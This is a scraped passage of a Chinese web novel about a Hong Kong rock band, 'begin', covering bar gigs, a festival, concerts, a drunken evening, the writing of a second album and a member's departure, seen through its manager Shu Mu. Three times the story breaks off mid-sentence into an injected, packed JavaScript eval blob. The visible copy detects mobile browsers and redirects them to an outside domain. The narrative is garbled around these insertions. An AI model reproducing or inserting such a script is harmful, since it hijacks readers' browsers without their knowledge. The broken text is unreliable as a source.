随后五个人带着各自的乐器如同扛着战斗的武器,斗志昂扬地向舞台走去,卡座来了几位begin乐队忠实的粉丝,不停地在喊:“begin、begin!” 几人笑着向粉丝挥手致意,稳步走到舞台,站到各自的表演点位,插上电。 家熙背着吉他抬起头,一支麦克风立在他的面前,上台习惯带隐形的他清晰地看到喝酒划拳的客人,一些女孩子们脸上欣喜的笑容,还有一声声的呐喊。 We all came out to montreux On the lake geneva shoreline To make records with a mobile We didn''t have much time Frank zappa and the mothers 家熙拨动着琴弦,沙哑厚长的嗓音翻唱着一首首外国经典歌曲,人们大多喜欢听熟悉的作品。 他们做到了必须要认真对待音乐的态度。 整个氛围很热闹,台下的人饮酒作乐,忙得很,根本顾不上用正眼看他们。 站在最后一排的舒慕,神色复杂地默默注视着这一切,如果问她此刻什么心情,她想,应该是多样的。 心疼、欣慰,还有对前路漫漫的各种不确定性,忍了忍心中的酸涩,努力向他们保持着微笑。 尽管他们的演出引起一片女孩们的尖叫,夹杂着不堪入耳的声音,家熙始终没有任何表情,他专注地扫弦,不时与兄弟们眼神交流。 终于熬到了结束的时间,在台上感觉度日如年的几人也露出了如释重负的神情。 家言叹了一口气:“真没意思。” 家熙哑着嗓子,生硬地道:“如果不是为了赚钱补贴,我真的不在这里唱。” “就是嘛,我们唱我们的,他们在下面猜拳。”世文晃悠着他那两个小棒槌:“都不知道是不是听歌的?” “算了,就当是练歌咯。”阿波无奈地摊摊手:“谁让我们穷呢。” 四人边往门口走,边摇着头:“继续熬咯。” 舒慕走在后面,安静的听着他们发牢骚、神吐槽,心里反而挺开心,说明每个成员都在朝着同一个目标前进。 在她看来,一个团队只要心齐,就没有成功不了的。再加上有家熙这个主心骨在,乐队的曙光一定会在某天到来。 望着他挺的直直的背影,舒慕忽然意识到,有些人明明离自己很近,其实却很遥远。在那一刻,她深刻的意识到,她放在心底里默默喜欢的人,那个爱音乐如命、有思想、智慧的家熙,将是一个做什么事都会成功的人。 恰恰因为如此,舒慕又一次的做了胆小鬼,把自己的小心思藏的完完全全。 她想,借职务之便,只要和乐队四人站在一起,也是一种正大光明对家熙的陪伴了。 “哎!” 安静的氛围下猛地一声喊,不由得让舒慕收回神思。 迎面急急走来一位也在这里驻场的歌手,长相倒是挺帅气,就是说出的话太难听:“原来是你们这几个摇滚叛徒,怎么在这里唱歌和我们抢饭吃。” 自从他们成功从地下被发掘,签约唱片公司成为职业乐队,在推出了加有商业元素的摇滚歌曲后,一些批评也随之而来。 见一个个都不理会他,男人故意喊的很大声:“不会是唱片销量不好吧?” 家熙抿着唇面色变幻不定。 家言一听炸了毛:“你说谁是摇滚叛徒啊?” 男人笑得更欢了:“干嘛这么生气,你们的歌唱得不错嘛,不愧是曾经地下乐队的佼佼者。” 世文拿着棒槌指向他,沉声道:“我们不欢迎你,你快走。” 临走之前,对方笑意凉凉,讽刺意味浓厚:“好,我走,祝你们成为超级商业Band,拜拜。” 阿波和家言一人拿着一把乐器,生气的呵斥道:“你快走,你再不跑快点,看我们不把你揍的满地找牙。” 没有了吵闹的声音,几人的耳根子终于清净了。 半晌没吭声的家熙,神情逐渐变得严肃起来,缓缓开口道:“这一张专辑,我们一定要成功。” 为了给乐队即将到来的演唱会预热,经纪人为他们接了夏风音乐节的活动。 虽说规模比较小,但乐队几乎是没日没夜的泡在二楼后座排练,在家熙看来,音乐节最大的优势就是可以让更多的人听到他们的音乐。 人多,伴随着意见也多,吵架时常发生,舒慕来看他们排练时,往往场景是这样的: 家熙骂家言的贝斯总是弹错音。 阿波埋怨家熙音调转折太复杂。 世文嫌阿波吉他solo太长。 家言和智远苦哈哈地说家熙对他们近乎苛刻。 一天下来,几个人痛并快乐着。 然后,到了第二天,关于音乐怎样完美呈现的争论继续上演。 每当这个时候,舒慕便有经验的捂住耳朵,避免受到摧残。 在家熙的拍板下,准备上台表演的歌曲经过反复的尝试、争论、修改,达成了基本的平衡。 演出当天,露天的场地人潮汹涌。 乐队被安排在最后出场。 家熙站在化妆镜前,左右扭扭身子,仔细检查他的妆发,后又去到智远跟前,拿起吹风机自告奋勇帮他弄了个发型。 边上的家言和阿波一站一坐背着乐器,手指不停地做最后练习。 距离上场还有几分钟,舒慕正正神色,给大家鼓劲儿:“大家加油!” 众人一起喊道:“加油!” “begin乐队,准备上场了。”工作人员这时提示。 舒慕在舞台的侧面,全神贯注地盯着电子屏幕,还未开嗓,见家熙的异常动作,心下一紧,暗叫不好。 由于前面演奏的乐队将现场设备弄了个底朝天,他们不得不重新连接线路,调试设备。 隔着一众乐迷,舒慕能感觉到台上的家熙望向了这边,几乎不带思索,她连忙从一侧走向舞台。 调试仍然在持续,台下逐渐躁动,有人开始起哄。 “退钱啊。” 但也有理性的乐迷立马出声制止:“闭嘴呀!” 家熙与小跑上台满脸担忧的舒慕交换了下眼神,在看到她带着人麻利的指挥时,心莫名安了些:“请给我们工作人员一些时间检查设备,因为之前有太多乐队用过乐器,不要让他们太紧张,紧张会让他们……” 话还未说完,底下不依不饶的声音喊道: “退钱啊!” 家熙握着话筒的手紧了紧,不慌不忙地接着刚才的说:“越做越慢。” 紧接着垂下头调整话筒的高度和位置,借以缓解尴尬:“我很高兴这么多人来支持。” 但这句话似乎没有起到任何好的作用,甚至有人朝他们报以嘘声。 家熙装作听不见:“听不到,一句都听不到,一个一个的说吧。” “把钱退给我们啊。” “退钱!” 他无奈地笑笑,保持着镇定,充耳不闻地继续暖场。 “这位是我们的吉他手阿波。”看向身后,不紧不慢介绍:“我的死党,鼓手世文,同时也是乐队创始人之一,我的弟弟贝斯手家言,另一个吉他手远仔。” 还想继续说什么时,家熙再一次回头望过去,见舒慕长舒一口气,神情放松,冲他比了OK的动作。 他瞬间心领神会,握着话筒低沉的说道:“我想差不多了,现在把我们乐队成员叫出来。” 上台后的几人快速调音配合,家熙:“OK,第一支玩的歌,是我们唱片里的歌,歌名叫《Dring Water Boy》。” “begin乐队,加油!” 回到台下的舒慕带头大声喊道,带动了在场铁杆乐迷们,大家一起欢呼。 家熙朝后上方的世文眼神示意了下。 鼓声打头阵,吉他声响起,贝斯融入,惊喜的是家熙从口袋里缓缓拿出一支口琴,加入他们的演奏。 家熙的嗓音借助音响设备,显得更加空旷丰富,只听一句,便觉得热血沸腾,情不自禁跟随他们的音乐摇摆呐喊,甚至有一种贪念,想听到更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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家熙听了点点头:“好,开始吧。” “我有眼镜。”难得今天戴眼镜的家言立刻喊道。 “切……”男生们嘘声四起,没办法默默弯下一指。 阿波受不了:“你能不能上点高度?” “我能弹一整晚吉他。” 不用想都知道是谁了,又弯下了一个手指头。 “我九岁画的画,至今被老师挂在家中墙上。” “我的手关节能发出声音。” 一轮又一轮,被杀最快的是舒慕。 家言长叹一口气,吐槽:“舒慕姐,你竟然是游戏黑洞哦。” 舒慕:“……” 看来平时还是要多学点乐器,这下是踢到短板了,舒慕扶着额头心想。 大家催促道:“舒慕,快说一个你发生过的事情。” 舒慕想了想,笑着说了句:“以前总是和父母一起住。” 众人佯装嫌弃地摆摆手:“这算什么,谁不是这样。” 舒慕跟着大家笑起来,顿了几秒,才继续道:“后来从老家离开,一个人来到了这里定居,没有再回去过。” 阿波性子急,问:“为什么啊?” 家熙眼光一闪,仿佛知道她接下来要说什么,立刻就要撇开话题:“那个……” 谁知还是没有快过舒慕:“因为我得了抑郁症,需要定期吃药,我爸妈为了摆脱我这个在他们看来是污点的人,急着把我嫁出去,我不愿意,所以就逃了出来。” 周围的环境瞬间安静了下来。 坐在身旁的家熙,侧头看着她,想出言安慰,却又纠结她是否需要他人的安慰。 舒慕显然豁达自然很多,神情就像在讲述别人的故事似的:“已经过去很久了,我也没什么事了。” 天使牌世文缓和气氛,温柔地问道:“吃了抗抑郁的药,是一种什么感觉?” “感觉情绪不会那么低沉了。”舒慕仔细回忆道:“不过那段时间瘦得也很厉害。” 家言惊呼:“这样居然也能变瘦哇。” “你平常少吃点也能瘦下来了。”家熙吐槽起自家弟弟来毫不留情。 “就是啊,看你这肚子,和怀了没两样。” “今天你也少吃点为妙。” “同意。” 面对兄弟们的滔滔不绝,家言耸拉着脑袋:“你们怎么改成吐槽大会了?!” 大家又笑起来,七嘴八舌地聊着童年往事、八卦杂谈等等,家熙的余光再次落在舒慕身上,她也在笑,笑的柔和静谧,看起来瘦弱,却又独立坚韧。 时间越来越晚,考虑到回家安全性的问题,大家共同举杯:“未来加油!”结束了聚会。 5. 第5章 9月,主题为“begin超越阿拉伯演唱会”门票发售工作正式启动。由于专辑叫好不叫座,保险起见,经纪人决定只发售高山剧场一层区域的门票。 不过,出乎意料的是,仅仅几天的功夫,门票便一扫而空。 10月4日,乐队终于迎来了出道后的第一场千人级专场演出。 当晚8点整,场馆内所有灯光一霎那间全部关闭,昏暗中响起神秘尖锐的音乐声,瞬间点燃了现场观众的热情。 大家齐刷刷地看向舞台,两侧灯光从上而下打在了中间,家熙身穿黑色皮夹克,头戴黑色军帽出现在舞台中间,酷帅十足,其余成员则一身迷彩军装跟着走到各自位置。 他没有多余废话,低沉沙哑的声音直接切入开场曲《东方的宝藏》,通身气派、举手投足之间,散发着自信的王者之气。 在演唱了三首歌后,背着吉他的家熙向歌迷们介绍:“我记得在两年前,我们开了一场属于自己的演唱会,那这个时候请允许我们怀旧一下,玩一下当时那场演唱会的感觉,一首我们旧的作品,讲的是一个人去怀念旧的东西,去走回他以前走过的路,感受以前的感觉和一些感性的东西。” “这首作品将会在未来的唱片中出现,歌名就叫《旧日足迹》。” 再次寻找旧日足迹 再次找我梦幻岁月 脑里依稀记得她 心里只想诉一次 那旧日的故事 每一张远处可爱的面孔 每一分亲切 在这个温暖的家乡故地 ………… 舒慕稳稳地站在二楼看台望着家熙,聆听他富有情感地唱腔,再加上这首歌的曲调朗朗上口、悠扬亢奋,她探头环顾一圈,表达出的效果简直好到爆,乍时与有荣焉在心中滋生。 许家熙,他站在那里,便让人生出仰望感。 随着木吉他和鼓点轻快的融入,节奏变得欢快,仿佛一个又跑又跳的少年,欢乐地蹦跶于乡间小路,无忧无虑。 音乐渐渐到末尾,两把电吉他,一左一右,从一开始的二重合奏,互相辉映,再到此起彼伏,你来我往互相的诉说心声。 “接下来,我需要让我的其他成员表现一下。”音乐渐渐远去,家熙在满场欢呼声中笑了笑:“这样才叫做乐队嘛。” Solo环节,先是世文的鼓,家言的贝斯,接着是智远和阿波的电吉他,一时间嗨翻全场,台下歌迷热情不断的尖叫。 轮到家熙自己,活脱脱害羞的少年:“其实我应该solo的,很久没有弹吉他了,没有这两个吉他手弹得那么好,我尽量试一下,弹得不好别笑哇。” 他转过身去拿立在那的黑色 Martin木吉他,调试着琴弦,面对一片嘈杂声音,也是温温和和的面孔:“刚才的吉他手弹得很劲,但我呢,喜欢文静一点。” 缓缓勾起琴弦,家熙有意与底下的粉丝互动:“给我一点节奏了,one、tuo、three、four……one、tuo、three、four……” 还没弹两分钟,现场的歌迷们竟调皮捣乱,故意加快拍子打乱他的节奏。 家熙没办法再弹下去,两手一摊:“喂喂喂,你们这样,我怎么弹呢,齐整点好不好!” 辛苦控场片刻后,大家终于安静了下来,他如愿以偿地弹奏了一段纯正弗拉明戈风味的solo,节奏明快,婉转动听。 以致于上半场结束,在场的人久久没有回过神儿来。 到中场休息时,《随意的飘荡》伴奏响起,乐队赶往后台换衣服和补妆,舒慕按照流程,拿出对讲机:“放乐队的宣传片。”随后向休息室走去。 休息室内 麻利换完装扮的阿波背过身去:“舒舒,你看后面行不行?” 舒慕心里笑他臭美,但还是正经夸道:“当然行了,好靓。” 三秒后,这家伙抬起脚来,左右瞅瞅:“舒慕,鞋带有点松,这好像不是我的。” 忙乱中总是会出点小问题,舒慕站了起来:“我去给你找找。” 没等迈出脚步,阿波的声音传了过来:“不用了不用了,就这样吧。” 见他急匆匆要上台去,舒慕眼尖的发现有东西忘了带,忙呼喊道:“阿波,你的头巾。” “我不用的,走了。”一溜烟儿消失的无影无踪。 舒慕好笑的摇摇头,不再管他,转身向嘉熙走了过去。 透过半掩的门,舒慕将需要换上的衣服递给他。 只抬眼看了一眼,面前精瘦的肌肉男,她便不敢再对视,直到嘉熙套上衣服,才上前帮忙,给他扣上纽扣,整整衣领。 家熙换衣服的速度很快,没三分钟,自己抱着换下的衣服出了更衣室。 “辛苦把那个头巾给我。” “还有外套。” “腰带、腰带拿过来。” 三四个工作人员凑在家熙跟前,有帮他系紧鞋带,从后面绑上腰带,还有帮忙固定头巾的,这时传来了舞台上的声音。 家熙:“solo了,看看几点了?” 舒慕飞快地答:“快9点了。” 最后正了正衣服,家熙:“OK,搞定。” 这时,正好传来了对讲机催促的声音:“家熙好了没有,外面已经solo很久了。” 家熙:“行了。” 舒慕拿起对讲机:“现在下来了,家熙在下来了。” 再次出场,乐队成员一袭阿拉伯造型,白色的长袍与之前暗色军装形成鲜明对比。 下半场,他们以《沙丘上的魔女》开篇,浓郁的中东异国风情,一首接一首,其中伴随着晓云的敲击独奏,与世文的鼓堪称绝妙。 直到最后一首《永久等待》象征着本次演唱会将落下帷幕,乐队成员也已缓缓向后台走去。 没有动的舒慕却惊讶地看到现场观众一点都没有退场的意思,大家都在疯狂地呐喊:“Encore……Encore……Encore……” 她不知道乐队有没有准备,但舒慕冥冥之中有一种直觉,家熙会给大家带来惊喜。 果然,在现场声声热烈的呼唤中,家熙率先返回舞台。 他无比虔诚地语气向台下观众表示:“好多谢,你们今晚这样的动作,给了我们好多鼓励,我们会继续维持下去,玩我们喜欢的音乐。” “我们相信自己所做的每件事都是正确的,所以我们不怕任何人的评语或者攻击,你们放心,我们会永远坚持理想。”家熙年轻的脸庞上满是沉浸在音乐中遇到知己的喜悦:“下面是一首令我写了唱完之后,几晚睡不着的歌,歌名叫做《理想再见》。” 独坐路边街角受冷风吹醒 默默伴着我的孤影 只想将吉他抱紧诉说苦闷 ……………… 歌曲到了尾声,台上一起合唱: 一起高呼Rock Roll 一起高呼Rock Roll 一起高呼Rock Roll 一起高呼Rock Roll ……………… 家熙手持话筒,在伴奏的配合下,认认真真地直抒心臆。 “今晚我们begin,会好好记住今天,多谢每一位到场的朋友,多谢每一位支持我们的人,我们会继续努力,有机会我们下次再见,拜拜。” 说罢,他指挥成员们到舞台中间来,每个人手搭着对方的肩膀,轻松、愉悦、痛快的面孔,一起上前几步,满怀诚意地躬身致谢。 舒慕走在最后,她特意回头望了一眼,两千位观众仍在不舍离开。 不管台前如何,乐队回到后台,终于能轻松地闲聊起来,舒慕笑着鼓掌,夸奖他们今天的表现。 世文:“下半场声音好点了,舒服多了。” 舒慕扬了扬下巴:“继续努力,看外面那些人哭的。” 阿波:“那些粉丝好过分,乒乒乓乓。” 家熙:“我都分不清是新粉丝还是旧的人,嚣张不听人讲话。” 家言:“肯定是新的咯。” 智远:“好奇怪,都不知道无端端为什么发火?” 阿波:“不要理这些人了,你再看那些跳舞的。” 家熙:“我觉得不合适啊,有没有觉得出来跳舞的时候,粘不到一起两样东西。” 舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“嘿,想什么呢?”肩膀一左一右被重重的一拍,舒慕吃痛的撇了一眼来人,原来是阿波和家言。 “在想你们俩加一起到底有没有三岁?”舒慕怼道。 家言‘哇’了一声,直呼:“舒舒姐,你一点也不温婉了哦。” 温婉你个头!舒慕心里恨恨地想。作势要拍他一掌,却被他机灵的躲过。 家言笑嘻嘻提议:“舒舒姐,我们玩猜拳,输的人喝酒,怎么样?” 非常明显的优劣局面,舒慕不想玩,撇过头去:“你们两个人,我一个,一点都不公平。” 家言一副‘你占老大便宜’的表情,大方地送人:“我们把世文给你,世文的酒量是我们里面最好的。” 这倒是实话,舒慕点点头:“那行。” 考虑到舒慕酒文化接触不深,三个大男人体贴的决定玩最简单的‘五十五二十五。’不记得玩了多少把,反正在她感觉出现幻影之前,跟前的空酒瓶多的不是一星半点,幸好世文坐在自己身边,多半的酒都是他喝的。 不忍世文继续喝下去,又输一局的舒慕自告奋勇就要举起杯子来。 “喂!你怎么喝这么多的酒?”手中的酒杯被夺走,舒慕抬头一看,家熙已出现在了自己眼前。 阿波拉着家熙坐下,打了个嗝,说道:“你来的正好,给我们当裁判,舒舒和世文马上就输了。” 喝的晕乎乎的家言身子歪歪扭扭附和:“是啊,哥,你快把酒还给舒舒姐。” 舒慕用力地眨眨眼,晃晃脑袋,想把面前的人看清楚:“家熙,你怎么有两个脑袋了呢?” 一个仰头,一个俯视。如同电影跳帧,时间凝滞在那一刹。 家熙对上她晶晶亮的眼神,心中蓦然变得柔软:“舒舒,你别喝了,我先送你回家。” 魂游天外的舒慕:“嗯……嗯?” 家熙无奈地叹了口气,蹲在舒慕的身边,把眼神迷离的某人扶出了餐厅,招手叫来了一辆出租车。 倚靠在车里怎么都休息的不舒服,家熙看她翻来覆去难受的可怜模样,小心地把她的头按在自己肩膀上,温柔的语气仿佛哄宝宝似的。 “睡一会儿吧,到了我叫你。” “嗯……”舒慕无意识地低喃了一声,或许有家熙在身边,给了她莫大的安全感,很快真的睡着了。 6. 第6章 车子很快到达小区楼下。 “舒舒……舒舒,醒醒,到家了。”家熙的声音从头顶传来,舒慕缓缓睁开眼睛,按着太阳穴,头还隐隐作痛。 舒慕在他的搀扶下下了车,没坚持两秒,腿下一软差点坐地上,幸亏被嘉熙眼疾手快的抓住胳膊。 “算了算了,就当锻炼身体了,我来背你。”他长叹一口气,认命的弯下身子。 可能是男女有别的缘故,他背人的动作很生疏,笨笨的,但这看起来有些亲昵的动作,却让舒慕感到异常踏实。 家熙背着她慢慢向里走去,嘴上不忘教育‘女醉鬼’:“知道自己喝不了多少,硬要和他们喝,这下受罪了吧?!” 回答他的,只有平缓的呼吸声。 舒慕微微倾斜着身子,脸颊泛着红晕,醉醉的笑容在唇边挂着,眼神却是朦朦胧胧的,就像一直渴望安慰的小猫。 “要上楼梯了,你可别乱动啊,我可不想腰折了,万一被家言他们知道,不得嘲笑死我。” “舒舒,你说是不是?” 舒慕扭过头去,喃喃道:“好吵。” 家熙:“……” 楼道内静悄悄,一番折腾,看着终于躺在床上安安稳稳的人,家熙着实舒了一口气,轻松不少。 却没想到,还没等他好好喘口气儿,睡相不太老实的人翻了个身,若非家熙眼疾手快抓住了舒慕,就真的是要和大地来个亲密接触了。 家熙扶着她重新把人放倒在床上,拽过被子给她盖上,碎碎念:“以后真不能让你喝酒了,不过倒是挺可爱的。” 说到最后,自己都忍不住笑了起来,眼睛亮闪闪的。 “这张脸,这嗓子,不知道以后要迷倒多少人呢。”舒慕睁着迷离的小眼神,带着醉意感叹道。 帮她捏了捏被角,家熙佯装黑脸,声音大了八度:“别说胡话了,快睡觉。” “我才没有胡说。”她一把掀开被子,气呼呼地反驳,但在家熙的眼里,极力忍着笑意的他,简直快要憋出内伤。 这还是第一次见到舒慕的另一面,家熙感觉好像打开了新世界,新奇极了。 他歪着脑袋,亮晶晶的眼睛盯着她平静的睡颜许久,嘴里喃喃的,冷不丁冒出一句:“也不知道明天这丫头睡醒,会不会记得今晚的自己?” 进入梦乡的人并未回答,只是慢慢的,嘴角露出了甜美的弧度。 翌日,揉了揉迷迷瞪瞪的眼睛,眨巴眨巴几下,逐渐清醒的舒慕低头瞅了瞅身上穿的还是昨晚的衣服,开始陷入回忆。 记得和家言、阿波玩猜拳罚酒的游戏,结果翻车了,最后是家熙送自己回家的,其他的,有点想不起来了。 努力拼凑记忆,试图整理那些碎片化的画面,头却因为昨晚喝酒喝的犯了疼,索性不再去想,应该没有做什么太出格的事情,舒慕在心理上安慰着自己。 收拾一番后,舒慕坐车来到了二楼后座,是家言开的门,一见她,便兴致勃勃地宣传他亲自做的早饭成品。 “舒舒姐,你来的正巧,我熬了粥,一起喝点吧。” “好啊。”在家就没吃饭的舒慕自然乐意得很,此时一碗热腾腾的粥,无疑是最合适的了。 看了一圈,却发现餐桌前没有家熙的身影,舒慕坐下后,问:“家熙呢?” 世文指了指旁边关着的门:“他还没醒。” 舒慕舀了一勺粥,了然的点点头,开始称赞起家言粥做的真不错。 家言得意的笑了笑,不过接下来的话,瞬间让她有种夸早了的后悔感:“舒舒姐,听我哥说,昨晚是他背你回家的?” 对于家言猝不及防的一句,舒慕刚咽下去的粥,直接呛到了,剧烈的咳嗽起来,好一会儿,才缓了过来,不敢相信地说道:“什么?家熙背我,这怎么可能?” 天呢,以后再也不碰酒了,这么重要的事,自己竟然不记得了。 正准备开口,身后突然传来一声吼。 “许家言,从屋里就听见你叽叽喳喳,很吵知不知道?!” 家熙这一嗓子,在场的阿波、世文和智远纷纷低头喝粥,一副我不知道,我什么都不知道的态度。 “哥,是舒舒姐忘记了昨晚你背回家的事情,我是在帮忙给她找回忆。”家言傻傻的为自己辩解。 “喝多了记不住很正常呀,安静喝你的粥行不行!”家熙走过来,坐在我旁边,对家言摆出大哥的架势呵斥道。 立马怂了的家言嘴一撇,开始老老实实喝粥,而感到窘迫之极的舒慕简直想找个地缝藏起来。 就是在这种安静出奇地环境下,舒慕喝粥的速度明显快了不少,十分钟后,她放下碗,尽量保持自然的说道:“我喝完了,先去屋里给你们整理下设备。” 舒慕快步走向里屋的工作室,自然没有看到后方某个人的目光,若有所思地跟着望了过去。 她轻轻关上门,靠在门后,捂着自己砰砰跳有些失衡的心脏,本想一个人缓和缓和,却没想到有人不请自来。 “叩叩叩……” 门外突然传来敲门声,紧接着家熙的声音响起:“舒舒?” 舒慕深深呼气,调整好笑容,开了门:“你才刚起,这么快就吃完了?” “吃完了吃完了,那个……”家熙傻小子般挠挠头,好似在思考该怎样开口,憋了半晌,一脸认真地说道:“昨天你喝多了,下车走不动道,所以我才背你的。” 他明明说得坦坦荡荡,眸光明亮,但在舒慕听来,心底却不由自主地泛起一丝说不出的失落感。 “昨晚实在不好意思,给你添麻烦了。”她语气闷闷地。 家熙一愣,转眼露出率真的笑容,随性的摆了摆手:“这么见外干嘛,傻丫头。”之后从旁边抽屉里拿出一个盒带递给她。 “这是新录的Demo,辛苦帮我交给Leslie,他会请他的朋友刘卓晖先生给我们填词。” 舒慕下意识地应了声,随即反应过来,填词? 她讶异地抬头,不解地问:“你怎么突然想用别人了?” 长久以来,他们从来不愿其他人干涉乐队的创作,尤其是填词这种相对简单的事情。可是现在,家熙却突然做出了改变。 “我想试一试,在做出更加开放化的改变后,能不能给乐队的发展带来希望。”家熙的眼神中流露出一丝迷茫和无助。 他略显低落消极的状态,不禁让舒慕想起前段时间,经纪人提起公司账上的资金快要见底,乐队的前途未卜,这也意味着他们五个在创作方面的自由度会越来越受局限。 舒慕紧紧握着盒带,不知是说给他听,还是说给自己,重复了多遍:“会成功的,一定会成功的。” “嗯。”家熙低头一笑:“借舒舒吉言。” 几天后,刘卓晖先生就把写好的歌词寄给了乐队的经纪人Leslie程,之后他又转交到了家熙手里,大家围坐在一起,热火朝天的讨论着第二张专辑。 不羁的少女,故作端正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14576924|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风骚的政客,故作公正 超级的战斗,咄咄逼人 万众倾心的偶像 为着光辉的见证 承受自我压迫 ……………… 家熙念着每一个字,思索着其中的含义,越到后面兴致一来,直接跃跃欲试的转头拿过吉他,跟着上面的词开始试弹哼唱,聚精会神听得成员们也跟着节奏动了起来。 舒慕伸长了脖子,默读了几遍纸上的歌词,有种说不上来的奇怪:“我怎么感觉,每一句像是在骂人呢?” “看来Leslie的这位朋友很关注如今社会各界的动态,我觉得文笔很好,委婉中带着尖锐的讽刺,我们应该向他学习才是。”家熙反倒是一脸欣赏,直夸刘卓晖性情中人,同时把稿子递给阿波他们,认真地说道。 主打歌歌词一致通过后,家熙开始询问成员们的创作情况。 首当其冲的是家言,只见他兴奋的对大家说:“大家听听这首词怎么样?” 他清了清嗓子,轻轻地唱了起来: 在雨中相对望 无声紧拥抱 寻往日的温馨 已消失不在 心更乱 那冷雨的夜,我在你身边 盼望你会知 可知道我的心 比当初已改变 …………………… “歌词写得真不错,很有意境。”世文轻轻拍了拍他的肩膀,夸赞道。 阿波认同地点了点头,看向家熙建议道:“我觉得家言很适合主唱这首歌。” 擅长编曲的智远也表示了自己的支持:“我们一起努力,把这首歌做好。” “好。”等待大家都讲完后,家熙这才问向弟弟:“家言,这首歌的歌名叫什么?” 家言:“冷雨之夜。” 欣慰地望了眼弟弟,虽说调皮的时候是真让他感到头疼,甚至是火大,但在对待音乐的态度上,家熙能够感受到家言的快速成长。 一时间,他莫名有种老父亲般的感慨万千。 而后,家熙接着问一旁已经跃跃欲试的阿波:“让我们听一听阿波准备的歌曲。” 阿波:“OK,在午夜流浪。” 每日努力以古怪装扮 全力去卖弄 四周而来的嘲笑 埋下我每个美梦 在午夜流浪 这是我的态度 尽情叫骂 …………………… 舒慕安静地坐在不远处听着阿波的献唱,从这张专辑开始,她敏感的发现乐队内部形成了一种不成文的规定,那就是除了家熙之外,其他成员创作的作品均由本人演唱。 她倒是很乐见其成,毕竟这体现了乐队的民主精神,更能使乐队走得更加长远。 当最后一个尾音落下,家熙毫不吝啬地赞赏阿波的创作力:“这词不赖,我都开始期待你在演唱会上的表演了。” “接下来的时间,大家辛苦一些,希望这张专辑比上一张更加成功。” “加油!”世文敲了声鼓,带动着大家热血澎湃起来。 虽然在这张专辑中,智远和世文没有参与到创作中,但两人在各自擅长的领域发挥了重要的作用,为乐队的歌曲注入了灵魂。 几天后,经纪人告诉大家,有一家名为‘苹果’的牛仔服品牌将赞助乐队在港城大学礼堂开办演唱会。 正当众人沉浸在期待与兴奋之中时,突如其来智远因要出国留学而离队的消息打破了这份欢喜的气氛。 7. 第7章 得到消息的经纪人Leslie程,错愕之余因为在外忙于商务洽谈,只好紧急电话打给了舒慕,嘱咐她看看到底什么情况。 当她迅速到达二楼后座时,呼哧带喘的她望着屋内一片沉寂,静的可怕,此刻更让她有种站也不是,坐也不是的感觉。 简直尴尬得要命。 家熙的性格最是受不了这种沉默气氛,于是他直接开门见山,问:“远仔,你已经决定好了,是吗?” 从一早进门就低着头沉默的智远,过了好一会儿,才呐吶地说:“嗯。” 与他年龄相近的家言语气多少带着冲动:“哥,他想走就让他走吧。” “家言!”家熙厉声呵斥,低沉的声音里透露着不悦。 不服气的家言感到委屈极了,本想说话却被身边的阿波眼神制止,憋着一口气没法出的他索性别过头去,抿着嘴气鼓鼓地窝在沙发里。 相比家言激动到爆的情绪,智远没有硬与他呛声,整个人表现得很平静,仿佛任凭说什么,自己都去意已决。 这些年,在港城有太多乐队成立,没过多久,又因为各种原因而解散,来来走走,早已不是什么稀奇的事情。 但是,一路走来,真的很多不容易,就说他们乐队从四个人到五个人,眼看马上又要回归四人编制,想想大家都是因为共同的热爱才走在一起夹band,但这条路太艰辛,从地下待着的时候还好,可从地下往地上走,一切都充满了未知。 过去,他们不分昼夜地玩音乐,玩到邻居投诉、警察上门,反观这几年的经历,固然有所成绩,但与他们想要的还远远不够。尤其在面对大众的冷漠、不认可,甚至被太多人当做不正派的标签,又被摇滚同行批为叛徒,双面夹击下,夜深人静自己躺在床上时,总会深深地沉思。 还要继续下去吗? 还能继续下去吗? 默了片刻,拉回了思绪的家熙继续说道:“如果你已经决定好了,那我尊重你的选择。” 智远抬头,眼眸中闪过太多复杂情绪,只不过此时的家熙没有注意到那一抹欲言又止。 半晌,他才说道:“我会和大家一起完成月底的演唱会再离开。” 纵使家熙有万般不舍,奈何智远离开已成定局,最终只能被动接受。 到底是相处了三年时光,突然有一人要离开,几个年轻小伙的情绪变得有些低落,搞摇滚的人,别看他们外表再怎么狂野,内心其实都特别纯粹。 “好了好了,不知道的还以为我们在演苦情戏呢。”家熙最受不了悲伤的低气压,定了定心神,他仿若无事地从沙发上站起来,走到乐器旁坐下,招呼着大伙开始排练。 拿起乐器的他们沉浸在自己热爱的音乐中,这一刻,整个屋子里不再有死气沉沉,不再有任何不和谐的声音,每一位成员都在认真地投入其中,燃烧自己。 在进行后期混音时,家熙认为应该让人们听到属于远仔自己的作品,于是由他键盘独奏的那段长达40秒的《冷雨之夜》尾奏被剪辑出来,并命名为《冷雨之夜的后续》,代表一首独立的曲子收录在专辑中。 4月30日晚,“苹果牌begin演唱会”如期而至,现场挤满了1500多位乐迷。 “咚……咚……咚……” 开场以世文的鼓打头阵,连续三个小节后,《灰色心迹》前奏吉他响起,这一次他们挑选了过去唱片当中的一两首歌来表演,家熙浑厚沙哑的声音通过话筒,在整个舞台响起,家言为这首旧歌的尾奏秀了一段Bass solo,看台上的舒慕禁不住心里大赞,简直太摇滚了。 